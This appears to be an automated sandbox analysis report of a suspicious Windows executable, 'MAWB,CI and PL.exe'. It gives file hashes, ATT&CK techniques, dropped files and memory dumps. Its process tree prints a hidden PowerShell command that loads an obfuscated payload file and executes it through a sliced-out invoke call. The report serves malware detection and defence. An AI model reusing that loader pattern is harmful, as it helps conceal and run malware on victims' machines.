887c2c6eef80dddcab940f303563c2f347d8e442e102ccfc4e041f3a5635ca32

Analysis

max time kernel
117s
max time network
120s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
04/11/2024, 06:45

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

MAWB,CI and PL.exe
Size

661KB
MD5

2119b4c15a036b7e407a7483a89ecdbf
SHA1

37c3c28bba3f2482e92b3b0ef570c2ba6f3167a8
SHA256

66c79a5e56a0b28126534ded1e9dd50e2de460fb671c49e7cf7a365568c7067b
SHA512

0dc2fbec1eed5cde2bf221c4b95a8cf232fcc922ff8b791cef8b4e816f7bccb1ee3c7b4510fc7aa78a74052dbd5694e1ce3ed55765ba8d1358529b9371829c0b
SSDEEP

12288:2XJ/BQ9wbOEvCJhy5aFj0MbS9ytLF9vVSaQ5X5X8LfH8+C7uPgITpm:8/rOuCJMyJu9ytBfaM8aPgITpm

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1720	powershell.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Fonts\neutralistiskes\Jebliksbilledernes.qui	MAWB,CI and PL.exe
File created	C:\Windows\resources\missampled\nonrespondents.lnk	MAWB,CI and PL.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MAWB,CI and PL.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1720	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1720	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2324 wrote to memory of 1720	2324	MAWB,CI and PL.exe	31
PID 2324 wrote to memory of 1720	2324	MAWB,CI and PL.exe	31
PID 2324 wrote to memory of 1720	2324	MAWB,CI and PL.exe	31
PID 2324 wrote to memory of 1720	2324	MAWB,CI and PL.exe	31

C:\Users\Admin\AppData\Local\Temp\MAWB,CI and PL.exe
"C:\Users\Admin\AppData\Local\Temp\MAWB,CI and PL.exe"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2324
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden "$Unproded=Get-Content -raw 'C:\Users\Admin\AppData\Roaming\turkeyism\beredskabscentre\Tiderip213\Isbjergs.Krs';$Acockbill=$Unproded.SubString(73125,3);.$Acockbill($Unproded) "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1720

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\bestialitet.ini

Filesize
46B

MD5
1cf88eb768688a65b89c8422c4983163

SHA1
cec4c169379a3e69cc44e8711753b5359d2cc130

SHA256
2bf3bc0da143b165f824bc0a42bec0903191f04cb6edd5df92c441d034717957

SHA512
3f34a000d3001749b58ef64d1c9fabbfcf43b7019fc588d9e123b0a324560d74af5097f37c98c2cf315cb15c3e4ce47fb79cf4b8af5ac45ad2bfb0849ac069c2

Download Submit
memory/1720-266-0x0000000073B41000-0x0000000073B42000-memory.dmp

Filesize
4KB

Download
memory/1720-267-0x0000000073B40000-0x00000000740EB000-memory.dmp

Filesize
5.7MB

Download
memory/1720-268-0x0000000073B40000-0x00000000740EB000-memory.dmp

Filesize
5.7MB

Download
memory/1720-269-0x0000000073B40000-0x00000000740EB000-memory.dmp

Filesize
5.7MB

Download
memory/1720-270-0x0000000073B40000-0x00000000740EB000-memory.dmp

Filesize
5.7MB

Download
memory/1720-271-0x0000000073B40000-0x00000000740EB000-memory.dmp

Filesize
5.7MB

Download